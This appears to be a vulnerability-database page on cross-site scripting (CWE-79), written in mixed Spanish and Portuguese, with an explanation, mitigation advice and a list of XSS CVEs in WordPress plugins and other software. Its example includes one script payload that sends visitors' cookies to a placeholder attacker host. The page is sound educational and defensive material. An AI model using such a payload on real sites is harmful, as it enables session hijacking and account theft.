Fallos del tipo CWE-79

30.284 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-15782MEDIUMWPForms <= 2.0.0.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via OptinMonster Integration data-sitekey Attribute in Post ContentEPSS 0.3%CVE-2024-13398MEDIUMCheckout for PayPal <= 1.0.32 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-5881MEDIUMWebico Slider Flatsome Addons <= 2.0.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via wbc_image ShortcodeEPSS 0.3%CVE-2025-59525HIGHHorilla has Improper Input Sanitization Leading to XSS and Admin Account TakeoverEPSS 0.3%CVE-2025-10584MEDIUMPortabilis i-Educar educar_calendario_anotacao_cad.php cross site scriptingEPSS 0.3%CVE-2024-12334MEDIUMWC Affiliate – A Complete WooCommerce Affiliate Plugin <= 2.4 - Reflected Cross-Site ScriptingEPSS 0.3%CVE-2024-7147MEDIUMJetBlocks <= 1.3.12 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-11453MEDIUMWordPress Pinterest Plugin – Make a Popup, User Profile, Masonry and Gallery Layout <= 1.8.8 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2026-105089CRITICALWWBN AVideo through 29.2.0 Stored XSS via trailer1 in YouPHPFlix2 TemplatesEPSS 0.3%CVE-2025-9306MEDIUMSourceCodester Advanced School Management System addNotice cross site scriptingEPSS 0.3%CVE-2024-7136MEDIUMJetSearch <= 3.5.2 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-8314MEDIUMSoftware Issue Manager <= 5.0.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via noaccess_msg ParameterEPSS 0.3%CVE-2024-8660MEDIUMStored XSS in the "Top Navigator Bar" blockEPSS 0.3%CVE-2026-2714MEDIUMInstitute Management <= 5.5 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'Enquiry Form Title' SettingEPSS 0.3%CVE-2025-14937HIGHFrontend Admin by DynamiApps <= 3.28.23 - Unauthenticated Stored Cross-Site Scripting via 'update_field'EPSS 0.3%CVE-2025-53486MEDIUMWikiCategoryTagCloud: Reflected Cross-Site Scripting (XSS) via linkstyle attribute in parser functionEPSS 0.3%CVE-2025-7815MEDIUMPHPGurukul Apartment Visitors Management System HTTP POST Request manage-newvisitors.php cross site scriptingEPSS 0.3%CVE-2025-8581MEDIUMInappropriate implementation in Extensions in Google Chrome prior to 139.0.7258.66 allowed a remote attacker who convinced a user to engage EPSS 0.3%CVE-2024-12328MEDIUMMAS Elementor <= 1.1.7 - Authenticated (Author+) Stored Cross-Site Scripting via SVGEPSS 0.3%CVE-2024-50406LOWLicense CenterEPSS 0.3%